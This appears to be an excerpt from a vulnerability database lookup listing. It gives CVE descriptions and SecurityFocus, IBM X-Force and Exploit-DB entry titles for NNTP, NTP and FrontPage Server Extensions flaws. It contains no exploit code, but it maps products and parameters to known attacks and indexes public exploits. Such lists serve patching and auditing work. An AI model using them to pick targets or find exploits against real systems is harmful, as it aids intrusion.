15613| [CVE-2004-1719] Multiple cross-site scripting (XSS) vulnerabilities in Merak Webmail Server 5.2.7 allow remote attackers to inject arbitrary web script or HTML via the (1) category, (2) cserver, (3) ext, (4) global, (5) showgroups, (6) or showlite parameters to address.html, or the (7) spage or (8) autoresponder parameters to settings.html, the (9) folder parameter to readmail.html, or the (10) attachmentpage_text_error parameter to attachment.html, (11) folder, (12) ct, or (13) cv parameters to calendar.html, (14) an <img> tag, or (15) the subject of an e-mail message.
15614| [CVE-2004-1610] SalesLogix 6.1 uses client-specified pathnames for writing certain files, which might allow remote authenticated users to create arbitrary files and execute code via the (1) vMME.AttachmentPath or (2) vMME.LibraryPath variables.
15615| [CVE-2004-1316] Heap-based buffer overflow in MSG_UnEscapeSearchUrl in nsNNTPProtocol.cpp for Mozilla 1.7.3 and earlier allows remote attackers to cause a denial of service (application crash) via an NNTP URL (news:) with a trailing '\' (backslash) character, which prevents a string from being NULL terminated.
15616| [CVE-2004-0574] The Network News Transfer Protocol (NNTP) component of Microsoft Windows NT Server 4.0, Windows 2000 Server, Windows Server 2003, Exchange 2000 Server, and Exchange Server 2003 allows remote attackers to execute arbitrary code via XPAT patterns, possibly related to improper length validation and an "unchecked buffer," leading to off-by-one and heap-based buffer overflows.
15617| [CVE-2003-1266] The (1) FTP, (2) POP3, (3) SMTP, and (4) NNTP servers in EServer 2.92 through 2.97, and possibly 2.98, allow remote attackers to cause a denial of service (crash) via a large amount of data.
15618| [CVE-2003-0824] Unknown vulnerability in the SmartHTML interpreter (shtml.dll) in Microsoft FrontPage Server Extensions 2000 and 2002, and Microsoft SharePoint Team Services 2002, allows remote attackers to cause a denial of service (response failure) via a certain request.
15619| [CVE-2003-0822] Buffer overflow in the debug functionality in fp30reg.dll of Microsoft FrontPage Server Extensions (FPSE) 2000 and 2002 allows remote attackers to execute arbitrary code via a crafted chunked encoded request.
15620| [CVE-2003-0744] The fetchnews NNTP client in leafnode 1.9.3 to 1.9.41 allows remote attackers to cause a denial of service (process hang and termination) via certain malformed Usenet news articles that cause fetchnews to hang while waiting for input.
15621| [CVE-2002-2317] Memory leak in the (1) httpd, (2) nntpd, and (3) vpn driver in VelociRaptor 1.0 allows remote attackers to cause a denial of service (memory consumption) via an unknown method.
15622| [CVE-2002-2305] SQL injection vulnerability in agentadmin.php in Immobilier allows remote attackers to execute arbitrary SQL commands via the (1) agentname or (2) agentpassword parameter.
15623| [CVE-2002-2262] Unspecified vulnerability in xntpd of HP-UX 10.20 through 11.11 allows remote attackers to cause a denial of service (hang) via unknown attack vectors.
15624| [CVE-2002-1789] Format string vulnerability in newsx NNTP client before 1.4.8 allows local users to execute arbitrary code via format string specifiers that are not properly handled in a call to the syslog function.
15625| [CVE-2002-1788] Format string vulnerability in the nn_exitmsg function in nn 6.6.0 through 6.6.3 allows remote NNTP servers to execute arbitrary code via format strings in server responses.
15626| [CVE-2002-1718] Microsoft Internet Information Server (IIS) 5.1 may allow remote attackers to view the contents of a Frontpage Server Extension (FPSE) file, as claimed using an HTTP request for colegal.htm that contains .. (dot dot) sequences.
15627| [CVE-2002-0913] Format string vulnerability in log_doit function of Slurp NNTP client 1.1.0 allows a malicious news server to execute arbitrary code on the client via format strings in a server response.
15628| [CVE-2002-0909] Multiple buffer overflows in mnews 1.22 and earlier allow (1) a remote NNTP server to execute arbitrary code via long responses, or local users can gain privileges via long command line arguments (2) -f, (3) -n, (4) -D, (5) -M, or (6) -P, or via long environment variables (7) JNAMES or (8) MAILSERVER.
15629| [CVE-2002-0692] Buffer overflow in SmartHTML Interpreter (shtml.dll) in Microsoft FrontPage Server Extensions (FPSE) 2000 and 2002 allows remote attackers to cause a denial of service (CPU consumption) or run arbitrary code, respectively, via a certain type of web file request.
15630| [CVE-2002-0525] Format string vulnerabilities in (1) inews or (2) rnews for INN 2.2.3 and earlier allow local users and remote malicious NNTP servers to gain privileges via format string specifiers in NTTP responses.
15631| [CVE-2002-0002] Format string vulnerability in stunnel before 3.22 when used in client mode for (1) smtp, (2) pop, or (3) nntp allows remote malicious servers to execute arbitrary code.
15632| [CVE-2001-1204] Directory traversal vulnerability in phprocketaddin in Total PC Solutions PHP Rocket Add-in for FrontPage 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the page parameter.
15633| [CVE-2001-0764] Buffer overflow in ntping in scotty 2.1.0 allows local users to execute arbitrary code via a long hostname as a command line argument.
15634| [CVE-2001-0543] Memory leak in NNTP service in Windows NT 4.0 and Windows 2000 allows remote attackers to cause a denial of service (memory exhaustion) via a large number of malformed posts.
15635| [CVE-2001-0414] Buffer overflow in ntpd ntp daemon 4.0.99k and earlier (aka xntpd and xntp3) allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long readvar argument.
15636| [CVE-2001-0341] Buffer overflow in Microsoft Visual Studio RAD Support sub-component of FrontPage Server Extensions allows remote attackers to execute arbitrary commands via a long registration request (URL) to fp30reg.dll.
15637| [CVE-2001-0096] FrontPage Server Extensions (FPSE) in IIS 4.0 and 5.0 allows remote attackers to cause a denial of service via a malformed form, aka the "Malformed Web Form Submission" vulnerability.
15638| [CVE-2000-0438] Buffer overflow in fdmount on Linux systems allows local users in the "floppy" group to execute arbitrary commands via a long mountpoint parameter.
15639| [CVE-2000-0431] Cobalt RaQ2 and RaQ3 does not properly set the access permissions and ownership for files that are uploaded via FrontPage, which allows attackers to bypass cgiwrap and modify files.
15640| [CVE-2000-0341] ATRIUM Cassandra NNTP Server 1.10 allows remote attackers to cause a denial of service via a long login name.
15641| [CVE-2000-0256] Buffer overflows in htimage.exe and Imagemap.exe in FrontPage 97 and 98 Server Extensions allow a user to conduct activities that are not otherwise available through the web site, aka the "Server-Side Image Map Components" vulnerability.
15642| [CVE-2000-0153] FrontPage Personal Web Server (PWS) allows remote attackers to read files via a .... (dot dot) attack.
15643| [CVE-2000-0122] Frontpage Server Extensions allows remote attackers to determine the physical path of a virtual directory via a GET request to the htimage.exe CGI program.
15644| [CVE-2000-0114] Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
15645| [CVE-1999-1016] Microsoft HTML control as used in (1) Internet Explorer 5.0, (2) FrontPage Express, (3) Outlook Express 5, and (4) Eudora, and possibly others, allows remote malicious web site or HTML emails to cause a denial of service (100% CPU consumption) via large HTML form fields such as text inputs in a table cell.
15646| [CVE-1999-0681] Buffer overflow in Microsoft FrontPage Server Extensions (PWS) 3.0.2.926 on Windows 95, and possibly other versions, allows remote attackers to cause a denial of service via a long URL.
15647| [CVE-2011-3372] imap/nntpd.c in the NNTP server (nntpd) for Cyrus IMAPd 2.4.x before 2.4.12 allows remote attackers to bypass authentication by sending an AUTHINFO USER command without sending an additional AUTHINFO PASS command.
15648| [CVE-2009-3563] ntp_request.c in ntpd in NTP before 4.2.4p8, and 4.2.5, allows remote attackers to cause a denial of service (CPU and bandwidth consumption) by using MODE_PRIVATE to send a spoofed (1) request or (2) response packet that triggers a continuous exchange of MODE_PRIVATE error responses between two NTP daemons.
15649| [CVE-2006-2334] The RtlDosPathNameToNtPathName_U API function in NTDLL.DLL in Microsoft Windows 2000 SP4 and XP SP2 does not properly convert DOS style paths with trailing spaces into NT style paths, which allows context-dependent attackers to create files that cannot be accessed through the expected DOS path or prevent access to other similarly named files in the same directory, which prevents those files from being detected or disinfected by certain anti-virus and anti-spyware software.
15650| [CVE-2006-1711] Plone 2.0.5, 2.1.2, and 2.5-beta1 does not restrict access to the (1) changeMemberPortrait, (2) deletePersonalPortrait, and (3) testCurrentPassword methods, which allows remote attackers to modify portraits.
15651| [CVE-2005-2496] The xntpd ntp (ntpd) daemon before 4.2.0b, when run with the -u option and using a string to specify the group, uses the group ID of the user instead of the group, which causes xntpd to run with different privileges than intended.
15652| [CVE-2005-1911] The fetchnews NNTP client in leafnode 1.11.2 and earlier can hang while waiting for input that never arrives, which allows remote NNTP servers to cause a denial of service (news loss).
15653| [CVE-2005-1453] fetchnews in leafnode 1.9.48 to 1.11.1 allows remote NNTP servers to cause a denial of service (crash) by closing the connection while fetchnews is reading (1) an article header or (2) an article body, which also prevents fetchnews from querying other servers.
15654| [CVE-2004-0657] Integer overflow in the NTP daemon (NTPd) before 4.0 causes the NTP server to return the wrong date/time offset when a client requests a date/time that is more than 34 years away from the server's time.
15655| [CVE-2002-0427] Buffer overflows in fpexec in mod_frontpage before 1.6.1 may allow attackers to gain root privileges.
15656| [CVE-2000-0710] The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers determine the physical path of the server components by requesting an invalid URL whose name includes a standard DOS device name.
15657| [CVE-2000-0709] The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers to cause a denial of service in some components by requesting a URL whose name includes a standard DOS device name.
15658| [CVE-2000-0413] The shtml.exe program in the FrontPage extensions package of IIS 4.0 and 5.0 allows remote attackers to determine the physical path of HTML, HTM, ASP, and SHTML files by requesting a file that does not exist, which generates an error message that reveals the path.
15659| [CVE-1999-1376] Buffer overflow in fpcount.exe in IIS 4.0 with FrontPage Server Extensions allows remote attackers to execute arbitrary commands.
15660| [CVE-1999-1052] Microsoft FrontPage stores form results in a default location in /_private/form_results.txt, which is world-readable and accessible in the document root, which allows remote attackers to read possibly sensitive information submitted by other users.
15661| [CVE-1999-1043] Microsoft Exchange Server 5.5 and 5.0 does not properly handle (1) malformed NNTP data, or (2) malformed SMTP data, which allows remote attackers to cause a denial of service (application error).
15662| [CVE-1999-0386] Microsoft Personal Web Server and FrontPage Personal Web Server in some Windows systems allows a remote attacker to read files on the server by using a nonstandard URL.
15663|
15664| SecurityFocus - https://www.securityfocus.com/bid/:
15665| [104517] NTP CVE-2018-12327 Stack Buffer Overflow Vulnerability
15666| [103351] NTP CVE-2018-7183 Buffer Overflow Vulnerability
15667| [103339] NTP CVE-2018-7185 Denial of Service Vulnerability
15668| [103194] NTP CVE-2018-7170 Incomplete Fix Remote Security Vulnerability
15669| [103192] NTP CVE-2018-7184 Denial of Service Vulnerability
15670| [103191] NTP CVE-2018-7182 Information Disclosure Vulnerability
15671| [97078] NTP CVE-2017-6452 Local Stack Based Buffer Overflow Vulnerability
15672| [97076] NTP CVE-2017-6459 Local Denial of Service Vulnerability
15673| [97074] NTP CVE-2017-6455 Local Denial of Service Vulnerability
15674| [97058] NTP CVE-2017-6451 Local Denial of Service Vulnerability
15675| [97052] NTP CVE-2017-6460 Stack Buffer Overflow Vulnerability
15676| [97051] NTP CVE-2017-6458 Buffer Overflow Vulnerability
15677| [97050] NTP CVE-2017-6464 Denial of Service Vulnerability
15678| [97049] NTP CVE-2017-6463 Denial of Service Vulnerability
15679| [97046] NTP CVE-2016-9042 Denial of Service Vulnerability
15680| [97045] NTP CVE-2017-6462 Local Buffer Overflow Vulnerability
15681| [94455] NTP CVE-2016-7433 Local Denial of Service Vulnerability
15682| [94454] NTP CVE-2016-7431 Denial of Service Vulnerability
15683| [94453] NTP CVE-2016-7429 Local Denial of Service Vulnerability
15684| [94452] NTP CVE-2016-9310 Denial of Service Vulnerability
15685| [94451] NTP CVE-2016-7426 Local Denial of Service Vulnerability
15686| [94450] NTP CVE-2016-9312 Denial of Service Vulnerability
15687| [94448] NTP CVE-2016-7434 Local Denial of Service Vulnerability
15688| [94447] NTP CVE-2016-7427 Denial of Service Vulnerability
15689| [94446] NTP CVE-2016-7428 Denial of Service Vulnerability
15690| [94444] NTP CVE-2016-9311 NULL Pointer Dereference Denial of Service Vulnerability
15691| [92277] BusyBox 'networking/ntpd.c' Remote Denial of Service Vulnerability
15692| [91400] Meinberg NTP Time Server Multiple Privilege Escalation and Buffer Overflow Vulnerabilities
15693| [91180] Foxit Reader 'CPDF_StreamContentParser::~CPDF_StreamContentParser' Memory Corruption Vulnerability
15694| [91010] NTP CVE-2016-4953 Denial of Service Vulnerability
15695| [91009] NTP CVE-2016-4956 Incomplete Fix Denial of Service Vulnerability
15696| [91007] NTP CVE-2016-4955 Denial of Service Vulnerability
15697| [90818] OpenNTPD 'ntpd/constraint.c' Certificate Validation Security Bypass Vulnerability
15698| [88276] NTP CVE-2016-1547 Denial of Service Vulnerability
15699| [88264] NTP CVE-2016-1548 Security Bypass Vulnerability
15700| [88261] NTP CVE-2016-1550 Local Security Bypass Vulnerability
15701| [88226] NTP CVE-2016-2518 Denial of Service Vulnerability
15702| [88219] NTP CVE-2016-1551 Remote Security Vulnerability
15703| [88204] NTP CVE-2016-2519 Denial of Service Vulnerability
15704| [88200] NTP CVE-2016-1549 Remote Security Vulnerability
15705| [88189] NTP CVE-2016-2517 Denial of Service Vulnerability
15706| [88180] NTP CVE-2016-2516 Denial of Service Vulnerability
15707| [88081] Microsoft FrontPage CVE-1999-1052 Information Disclosure Vulnerability
15708| [86089] Microsoft FrontPage CVE-2007-3109 Remote Security Vulnerability
15709| [83193] NTP CVE-2004-0657 Remote Security Vulnerability
15710| [82105] NTP CVE-2015-8139 Security Bypass Vulnerability
15711| [82102] NTP CVE-2015-8140 Security Bypass Vulnerability
15712| [81963] NTP CVE-2015-7973 Security Bypass Vulnerability
15713| [81962] NTP CVE-2015-7978 Denial of Service Vulnerability
15714| [81960] NTP CVE-2015-7974 Symmetric Key Encryption Authentication Security Bypass Vulnerability
15715| [81959] NTP CVE-2015-7975 Local Denial of Service Vulnerability
15716| [81816] NTP CVE-2015-7979 Denial of Service Vulnerability
15717| [81815] NTP CVE-2015-7977 NULL Pointer Dereference Denial of Service Vulnerability
15718| [81814] NTP CVE-2015-8158 Denial of Service Vulnerability
15719| [81811] NTP CVE-2015-8138 Denial of Service Vulnerability
15720| [81552] NTP Cronjob Script CVE-2016-0727 Local Privilege Escalation Vulnerability
15721| [77288] Network Time Protocol 'ntpq.c' Memory Corruption Vulnerability
15722| [77286] NTP CVE-2015-7702 Incomplete Fix Denial of Service Vulnerability
15723| [77285] NTP CVE-2015-7692 Incomplete Fix Denial of Service Vulnerability
15724| [77282] Network Time Protocol 'ntp_control.c' Directory Traversal Vulnerability
15725| [77281] NTP CVE-2015-7701 Denial of Service Vulnerability
15726| [77278] NTP Multiple Arbitrary File Overwrite Vulnerabilities
15727| [77274] NTP CVE-2015-7691 Incomplete Fix Denial of Service Vulnerability
15728| [76476] RETIRED: NTP CVE-2015-5196 Multiple Arbitrary File Overwrite Vulnerabilities
15729| [76475] NTP CVE-2015-5194 Denial of Service Vulnerability
15730| [76474] NTP 'ntpd/ntp_config.c' Remote Denial of Service Vulnerability
15731| [76473] NTP CVE-2015-5219 Denial of Service Vulnerability
15732| [75589] NTP CVE-2015-5146 Denial of Service Vulnerability
15733| [73951] NTP CVE-2015-1798 Man in the Middle Security Bypass Vulnerability
15734| [73950] NTP CVE-2015-1799 Denial of Service Vulnerability
15735| [73713] Mjseventpro CVE-2010-0340 SQL-Injection Vulnerability
15736| [72584] NTP 'ntp_io.c' Authentication Security Bypass Vulnerability
15737| [72583] NTP 'ntp_crypto.c' Information Disclosure Vulnerability
15738| [71969] Network Time Protocol ntpdc Local Buffer Overflow Vulnerability
15739| [65434] Apache Subversion 'mod_dav_svn' Module SVNListParentPath Denial of Service Vulnerability
15740| [64692] NTP 'ntp_request.c' Remote Denial of Service Vulnerability
15741| [62185] Microsoft FrontPage CVE-2013-3137 Information Disclosure Vulnerability
15742| [55561] IFOBS 'regclientprint.jsp' Multiple HTML Injection Vulnerabilities
15743| [54283] Linux Kernel 'fs/eventpoll.c' Local Denial of Service Vulnerability
15744| [52083] UTC Fire & Security GE-MC100-NTP/GPS-ZB Default Credentials Authentication Bypass Vulnerability
15745| [46630] Linux Kernel epoll Subsystem 'eventpoll.c' Multiple Local Denial of Service Vulnerabilities
15746| [45792] HP LoadRunner 'magentproc.exe' Remote Code Execution Vulnerability
15747| [41798] IBM FileNet Content Manager 'InheritParentPermissions' Flag Security Bypass Vulnerability
15748| [39479] Mozilla Firefox/Thunderbird/SeaMonkey 'nsIContentPolicy' Security Bypass Vulnerability
15749| [38309] XlentProjects SphereCMS 'archive.php' SQL Injection Vulnerability
15750| [37781] TYPO3 MJS Event Pro (mjseventpro) Unspecified SQL Injection Vulnerability
15751| [37255] NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability
15752| [36502] Cisco IOS NTPv4 Reply Packet Remote Denial of Service Vulnerability
15753| [36457] Xerver Administration Interface 'currentPath' Parameter Cross Site Scripting Vulnerability
15754| [35017] NTP 'ntpd' Autokey Stack Buffer Overflow Vulnerability
15755| [34481] NTP 'ntpq' Stack Buffer Overflow Vulnerability
15756| [33290] TimeTools NTP Time Server Syslog Monitor Remote Denial of Service Vulnerability
15757| [33135] Goople CMS 'frontpage.php' SQL Injection Vulnerability
15758| [32352] vBulletin 'admincp/attachmentpermission.php' SQL Injection Vulnerability
15759| [31959] Agares Media ThemeSiteScript 'frontpage_right.php' Remote File Include Vulnerability
15760| [30290] SmbClientParser Perl Module Remote Command Execution Vulnerability
15761| [28297] Travelsized CMS 'frontpage.php' and 'index.php' Multiple Input Validation Vulnerabilities
15762| [28230] XOOPS MyTutorials Module 'printpage.php' SQL Injection Vulnerability
15763| [27375] OZ Journals 'printpreview' Local File Disclosure Vulnerability
15764| [26986] Arcadem LE 'frontpage_right.php' Remote File Include Vulnerability
15765| [25908] Microsoft Outlook Express And Windows Mail NNTP Protocol Heap Buffer Overflow Vulnerability
15766| [22223] Hitachi OpenTP1 Unspecified Remote Denial of Service Vulnerability
15767| [22098] Uberghey Frontpage.PHP Remote File Include Vulnerability
15768| [20321] Travelsized CMS Frontpage.PHP Remote File Include Vulnerability
15769| [20044] Limbo CMS Frontpage Arbitrary File Upload Vulnerability
15770| [19423] phNNTP File_newsportal Remote File Include Vulnerability
15771| [17452] Microsoft FrontPage Server Extensions Cross-Site Scripting Vulnerability
15772| [16902] Limbo CMS Frontpage Arbitrary PHP Command Execution Vulnerability
15773| [15117] Lynx NNTP Article Header Buffer Overflow Vulnerability
15774| [15093] Hitachi OpenTP1 Denial Of Service Vulnerability
15775| [14673] NTPD Insecure Privileges Vulnerability
15776| [13951] Microsoft Outlook Express NNTP Response Parsing Buffer Overflow Vulnerability
15777| [13376] MetaCart E-Shop V-8 IntProdID Parameter Remote SQL Injection Vulnerability
15778| [12756] YaBB Remote UsersRecentPosts Cross-Site Scripting Vulnerability
15779| [12141] Microsoft FrontPage 2000 Internet Publishing Service Provider DAV File Upload Vulnerability
15780| [11412] Microsoft Frontpage Asycpict.DLL JPEG Handling Remote Denial of Service Vulnerabilities
15781| [11379] Microsoft NNTP Component Heap Overflow Vulnerability
15782| [9008] Microsoft FrontPage Server Extensions SmartHTML Interpreter Denial Of Service Vulnerability
15783| [9007] Microsoft FrontPage Server Extensions Remote Debug Buffer Overrun Vulnerability
15784| [6522] EType EServ NNTP Remote Denial Of Service Vulnerability
15785| [6356] HP-UX xntpd Unspecified Denial Of Service Vulnerability
15786| [5804] Microsoft FrontPage Server Extensions SmartHTML Buffer Overflow Vulnerability
15787| [5240] NewsX NNTP SysLog Format String Vulnerability
15788| [5160] Kim Storm NN NNTP Error Message Format String Vulnerability
15789| [4251] Improved mod_frontpage Buffer Overflow Vulnerability
15790| [4084] Microsoft IIS 5.1 Frontpage Server Extensions File Source Disclosure Vulnerability
15791| [4078] Microsoft IIS 5.1 Frontpage Extensions Path Disclosure Information Vulnerability
15792| [3751] Total PC Solutions PHP Rocket Add-in for FrontPage Directory Traversal Vulnerability
15793| [3183] Microsoft Windows NNTP Denial of Service Vulnerability
15794| [2911] Juergen Schoenwaelder scotty ntping Buffer Overflow Vulnerability
15795| [2540] Ntpd Remote Buffer Overflow Vulnerability
15796| [1608] Microsoft FrontPage Server Extensions MS-DOS Device Name Denial Of Service Vulnerability
15797| [1594] Microsoft FrontPage/IIS Cross Site Scripting shtml.dll Vulnerability
15798| [1435] Microsoft FrontPage 2000 Server Extensions Denial Of Service Vulnerability
15799| [1205] Microsoft FrontPage Extensions .pwd File Permissions Vulnerability
15800| [1174] Microsoft Frontpage Server Extensions Path Disclosure Vulnerability
15801| [1156] Cassandra NNTPServer v1.10 Buffer Overflow Vulnerability
15802| [1141] MS Frontpage htimage.exe File Existence Disclosure Vulnerability
15803| [1117] MS Frontpage Image Mapper Buffer Overflow Vulnerability
15804| [1109] MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability
15805| [1108] MS IIS FrontPage 98 Extensions Filename Obfuscation Vulnerability
15806| [989] Microsoft FrontPage PWS Directory Traversal Vulnerability
15807| [964] MS Frontpage htimage.exe Path Leak Vulnerability
15808| [568] Microsoft FrontPage PWS DoS Vulnerability
15809| [74045] NTP 'ntp-keygen.c' Predictable Random Number Generator Weakness
15810| [71762] NTP 'ntp-keygen.c' Predictable Random Number Generator Weakness
15811| [71757] NTP 'ntp_config.c' Insufficient Entropy Security Weakness
15812| [10980] Microsoft NTP Time Synchronization Spoof Weakness
15813|
15814| IBM X-Force - https://exchange.xforce.ibmcloud.com:
15815| [82317] ownCloud viewer.php and addMountPoint.php cross-site scripting
15816| [52238] Microsoft FrontPage Server Extensions Vital Information Leakage
15817| [36554] Wireshark NTP dissector format string vulnerable Windows version detected
15818| [6730] Microsoft FrontPage Server Extensions Visual Studio RAD Support sub-component buffer overflow
15819| [86041] TRENDnet TEW-812DRU uapply.cgi and setNTP.cgi cross-site request forgery
15820| [82084] IB-NAS5220 and IB-NAS4220-B ntp_name parameter cross-site scripting
15821| [78636] IFOBS regclientprint.jsp cross-site scripting
15822| [76340] MYRE Real Estate Mobile listings.php and agentprofile.php SQL injection
15823| [75403] MYRE Real Estate Mobile listings.php and agentprofile.php SQL injection
15824| [73583] Moodle frontpage security bypass
15825| [70325] Cyrus IMAPd NNTP security bypass
15826| [66589] Linux Kernel eventpoll.c denial of service
15827| [66034] Linux NTP buffer overflow
15828| [65872] Linux Kernel eventpoll.c denial of service
15829| [62765] Plesk Small Business Manager currentPageId SQL injection
15830| [60481] IBM FileNet Content Manager InheritParentPermissions security bypass
15831| [59090] Opera news:// and nntp:// URI denial of service
15832| [59088] Microsoft Internet Explorer nntp:// URIs denial of service
15833| [59086] Mozilla Firefox news:// and nntp:// URI denial of service
15834| [58364] HP LoadRunner Agent magentproc.exe code execution
15835| [57822] Magneto Software SntpGetReply buffer overflow
15836| [54650] NTP mode7 (MODE_PRIVATE) denial of service
15837| [53675] XLink Omni-NFS Enterprise ntpd.exe buffer overflow
15838| [53663] Xerver currentPath directory traversal
15839| [53662] Xerver currentPath cross-site scripting
15840| [53455] Cisco IOS NTPv4 denial of service
15841| [52468] TGS Content Management index.php and frontpage_ception.php SQL injection
15842| [52237] Microsoft FrontPage Server Extensions To Do List Found
15843| [52236] Microsoft FrontPage Server Extensions Machine Name Disclosure
15844| [52235] Microsoft FrontPage Configuration Information Leakage
15845| [52234] Microsoft FrontPage '_vti_cnf' Information Leakage
15846| [50617] NTP ntpd buffer overflow
15847| [50258] Drupal frontpage forms information disclosure
15848| [49838] NTP cookedprint() buffer overflow
15849| [48023] Windows NTP Time Server Syslog Monitor syslog message denial of service
15850| [47773] Goople CMS frontpage.php SQL injection
15851| [47244] Adobe AIR and Adobe Flash Player DefineConstantPool information disclosure
15852| [46174] ThemeSiteScript frontpage_right.php file include
15853| [44940] devalcms currentpath parameter cross-site scripting
15854| [43910] Filesys::SmbClientParser directory command execution
15855| [43418] Avaya Messaging Storage Server date, time and NTP server command execution
15856| [41538] Perlbal ClientProxy.pm denial of service
15857| [41181] tutorials module for XOOPS printpage.php and index.php SQL injection
15858| [40129] Leafnode fetchnews NNTP client denial of service
15859| [39414] WordPress XMLRPC metaWeblog.getRecentPosts function informaiton disclosure
15860| [39266] phpAutoVideo frontpage_right.php file include
15861| [39228] Arcadem LE frontpage_right.php file include
15862| [36811] Microsoft Outlook Express and Windows Mail NNTP response code execution
15863| [34720] Microsoft FrontPage Personal Web Server CERN Image Map Dispatcher buffer overflow
15864| [34719] Microsoft FrontPage CERN Image Map Dispatcher information disclosure
15865| [33124] Squid clientProcessRequest() function denial of service
15866| [32247] RHSA-2006:0393 updates for ntp not installed
15867| [32076] Microsoft Frontpage Extensions directory /_vti_pvt/ present
15868| [31553] Uberghey CMS frontpage.php file include
15869| [29337] Travelsized CMS frontpage.php file include
15870| [28271] phNNTP article-raw.php file include
15871| [27828] Wireshark (Ethereal) NTP dissector format string
15872| [25965] @1 Event Publisher eventpublisher.txt information disclosure
15873| [25537] Microsoft FrontPage Server Extensions HTML cross-site scripting
15874| [22748] Hitachi OpenTP1 denial of service
15875| [22035] NTP incorrect group permissions
15876| [21537] Microsoft FrontPage style tag denial of service
15877| [20830] Microsoft Outlook Express NNTP Response Parsing buffer overflow
15878| [20283] MetaCart e-Shop intProdID and intCatalogID parameters SQL injection
15879| [19186] newsfetch NNTP responses buffer overflow
15880| [18711] Mozilla NNTP buffer overflow
15881| [17739] Microsoft FrontPage and Internet Explorer asycpict.dll JPEG denial of service
15882| [17641] Microsoft Windows NNTP buffer overflow
15883| [15406] NTP integer buffer overflow
15884| [13680] Microsoft FrontPage Server Extensions SmartHTML Interpreter denial of service
15885| [13674] Microsoft FrontPage Server Extensions debug buffer overflow
15886| [11873] Microsoft Internet Explorer, Outlook, and FrontPage shlwapi.dll library denial of service
15887| [10942] Leafnode NNTP server denial of service
15888| [10836] HP-UX xntpd denial of service
15889| [10195] Microsoft FrontPage Server Extensions (FPSE) 2002 SmartHTML Interpreter buffer overflow
15890| [10194] Microsoft FrontPage Server Extensions (FPSE) 2000 SmartHTML Interpreter denial of service
15891| [9583] newsx NNTP client syslog() local format string
15892| [9491] nn NNTP error message format string
15893| [9270] slurp NNTP client syslog() format string
15894| [9226] mnews NNTP response remote buffer overflow
15895| [8800] Microsoft IIS FrontPage Server Extensions and ASP.NET ISAPI filter error handling denial of service
15896| [8733] SNTP time broadcast audit
15897| [8517] NNTP port probe
15898| [8513] SNTP malformed packet
15899| [8411] NTP servers from which the router obtains time are set
15900| [8410] NTP server is enabled on the router
15901| [8400] Apache HTTP Server mod_frontpage buffer overflows
15902| [8362] Microsoft FrontPage form_results.txt is world readable
15903| [7951] Shell metacharacters in NNTP fields
15904| [7795] Microsoft FrontPage Server Extensions (FPSE) "
15905| [7788] Microsoft FrontPage Server Extensions (FPSE) "
15906| [7749] PHP Rocket Add-in for FrontPage "
15907| [7710] NNTP Subject
15908| [6977] Microsoft Windows NT and 2000 NNTP memory leak denial of service
15909| [6735] Scotty ntping buffer overflow could allow the execution of arbitrary code
15910| [6321] Ntpd server readvar control message buffer overflow
15911| [5494] Microsoft FrontPage 98 Server Extensions fpcount.exe CGI can be remotely crashed
15912| [5124] Microsoft FrontPage Server Extensions device name denial of service
15913| [4899] Microsoft FrontPage Extensions shtml.dll multiple access denial of service
15914| [4484] Microsoft FrontPage Server Extensions image mapping components allow remote code execution
15915| [4439] Microsoft FrontPage Server Extensions"
15916| [4410] CASSANDRA NNTP server buffer overflow
15917| [4333] Microsoft FrontPage 98 Server Extensions DVWSSR.DLL file buffer overflow
15918| [4268] Microsoft FrontPage 98 Server Extensions DVWSSR.DLL file could allow remote ASP source retrieval
15919| [3393] Microsoft FrontPage Extensions authors.pwd file could reveal encrypted passwords
15920| [3391] Microsoft FrontPage Extensions service.pwd file could reveal encrypted passwords
15921| [3178] Exchange NNTP server unauthenticated command
15922| [3174] Exchange NNTP server dropped connection
15923| [3117] Microsoft FrontPage long URL buffer overflow
15924| [1223] Microsoft Exchange Server SMTP and NNTP denial of service
15925| [908] Microsoft FrontPage extensions under Unix create world readable password files
15926| [670] NNTP username
15927| [669] NNTP password
15928| [668] NNTP group
15929| [561] Microsoft FrontPage 1.1 allows users to write to executable directories
15930| [438] NNTP daemon
15931| [89] NNTP reading
15932| [88] NNTP posting
15933|
15934| Exploit-DB - https://www.exploit-db.com:
15935| [27620] Microsoft FrontPage Server Extensions Cross-Site Scripting Vulnerability
15936| [25536] MetaCart E-Shop V-8 IntProdID Parameter Remote SQL Injection Vulnerability
15937| [25199] YaBB 2.0 - Remote UsersRecentPosts Cross-Site Scripting Vulnerability
15938| [22124] EType EServ 1.9x NNTP Remote Denial of Service Vulnerability
15939| [20960] Juergen Schoenwaelder scotty 2.1.x ntping Buffer Overflow Vulnerability
15940| [20727] Ntpd Remote Buffer Overflow Vulnerability
15941| [19897] FrontPage 2000,IIS 4.0/5.0 Server Extensions Path Disclosure Vulnerability
15942| [19884] Atrium Software Cassandra NNTP Server 1.10 Buffer Overflow Vulnerability
15943| [19846] MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 - Buffer Overflow Vulnerability
15944| [19445] Microsoft FrontPage Personal WebServer 1.0 PWS DoS Vulnerability
15945| [16960] Linux NTP query client 4.2.6p1 - Heap Overflow Vulnerability
15946| [5245] XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability
15947| [3147] Uberghey 0.3.1 (frontpage.php) Remote File Include Vulnerability
15948| [2148] phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability
15949| [28809] HP LoadRunner magentproc.exe Overflow
15950| [27894] obotix IP Camera M1 1.9.4 .7/M10 2.0.5 .2 eventplayer get_image_info_abspath Parameter XSS
15951| [24379] Merak Mail Server 7.4.5 attachment.html attachmentpage_text_error Parameter XSS
15952| [19877] FrontPage 98/Personal WebServer 1.0,Personal Web Server 2.0 htimage.exe File Existence Disclosure
15953| [19853] FrontPage 97/98 Server Image Mapper Buffer Overflow
15954| [19845] MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 Filename Obfuscation
15955| [19753] ms frontpage personal webserver 1.0/personal web server 4.0 - Directory Traversal
15956| [19605] Linux Kernel fs/eventpoll.c Local Denial of Service
15957| [16379] Microsoft Outlook Express NNTP Response Parsing Buffer Overflow
